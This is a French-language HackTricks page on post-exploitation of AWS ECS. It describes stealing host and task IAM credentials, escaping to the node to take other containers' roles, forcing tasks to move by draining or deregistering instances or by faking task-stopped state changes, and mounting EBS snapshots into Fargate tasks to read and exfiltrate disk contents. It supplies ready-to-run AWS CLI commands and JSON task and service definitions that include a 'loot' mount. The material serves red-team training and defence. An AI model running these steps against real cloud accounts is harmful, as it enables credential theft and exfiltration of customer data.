AWS - ECS Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

ECS

Pour plus d’informations, consultez :

AWS - ECS Enum

Rôles IAM de l’hôte

Dans ECS un IAM role can be assigned to the task running inside the container. If the task is run inside an EC2 instance, the EC2 instance will have another IAM role attached to it.
Ce qui signifie que si vous parvenez à compromettre une instance ECS vous pouvez potentiellement obtenir le IAM role associé à l’ECR et à l’instance EC2. Pour plus d’infos sur comment récupérer ces credentials, consultez :

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

De plus, EC2 utilise docker pour exécuter les ECS tasks, donc si vous pouvez vous échapper vers le nœud ou accéder au socket docker, vous pouvez vérifier quels autres conteneurs sont en cours d’exécution, et même entrer dedans et voler leurs IAM roles attachés.

Faire exécuter des conteneurs sur l’hôte actuel

De plus, le EC2 instance role aura généralement suffisamment de permissions pour mettre à jour le container instance state des instances EC2 utilisées comme nœuds dans le cluster. Un attaquant pourrait modifier l’état d’une instance en DRAINING, alors ECS retirera toutes les tasks de celle-ci et celles exécutées en tant que REPLICA seront lancées sur une autre instance, potentiellement à l’intérieur de l’instance de l’attaquant afin qu’il puisse voler leurs IAM roles et d’éventuelles informations sensibles depuis l’intérieur du conteneur.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

La même technique peut être réalisée en retirant l’instance EC2 du cluster. Ceci est potentiellement moins discret mais cela va forcer l’exécution des tâches sur d’autres instances :

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Une dernière technique pour forcer la réexécution des tâches consiste à indiquer à ECS que la task or container was stopped. Il existe 3 API potentielles pour cela :

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Voler des informations sensibles depuis des conteneurs ECR

L’instance EC2 aura probablement aussi l’autorisation ecr:GetAuthorizationToken lui permettant de télécharger des images (vous pouvez rechercher des informations sensibles à l’intérieur).

Monter un snapshot EBS directement dans une tâche ECS (configuredAtLaunch + volumeConfigurations)

Abusez de l’intégration native ECS EBS (2024+) pour monter le contenu d’un snapshot EBS existant directement dans une nouvelle tâche/service ECS et lire ses données depuis l’intérieur du conteneur.

  • Nécessite (minimum) :

  • ecs:RegisterTaskDefinition

  • L’un des : ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole sur :

  • rôle d’infrastructure ECS utilisé pour les volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles référencés par la définition de tâche

  • Si le snapshot est chiffré avec une CMK : permissions KMS pour le rôle infra (la managed policy AWS ci-dessus inclut les grants KMS requis pour les clés gérées AWS).

  • Impact : Lire arbitrairement le contenu du disque depuis le snapshot (par ex., fichiers de base de données) à l’intérieur du conteneur et exfiltrer via le réseau/logs.

Étapes (exemple Fargate) :

  1. Créez le rôle d’infrastructure ECS (s’il n’existe pas) et attachez la managed policy :
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Enregistrez une task definition avec un volume marqué configuredAtLaunch et montez-le dans le conteneur. Exemple (affiche le secret puis reste en veille) :
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Créez ou mettez à jour un service en passant l’instantané EBS via volumeConfigurations.managedEBSVolume (requiert iam:PassRole sur le rôle d’infrastructure). Exemple :
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Lorsque la task démarre, le container peut lire le contenu du snapshot au mount path configuré (par ex., /loot). Exfiltrer via le réseau/logs de la task.

Nettoyage :

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks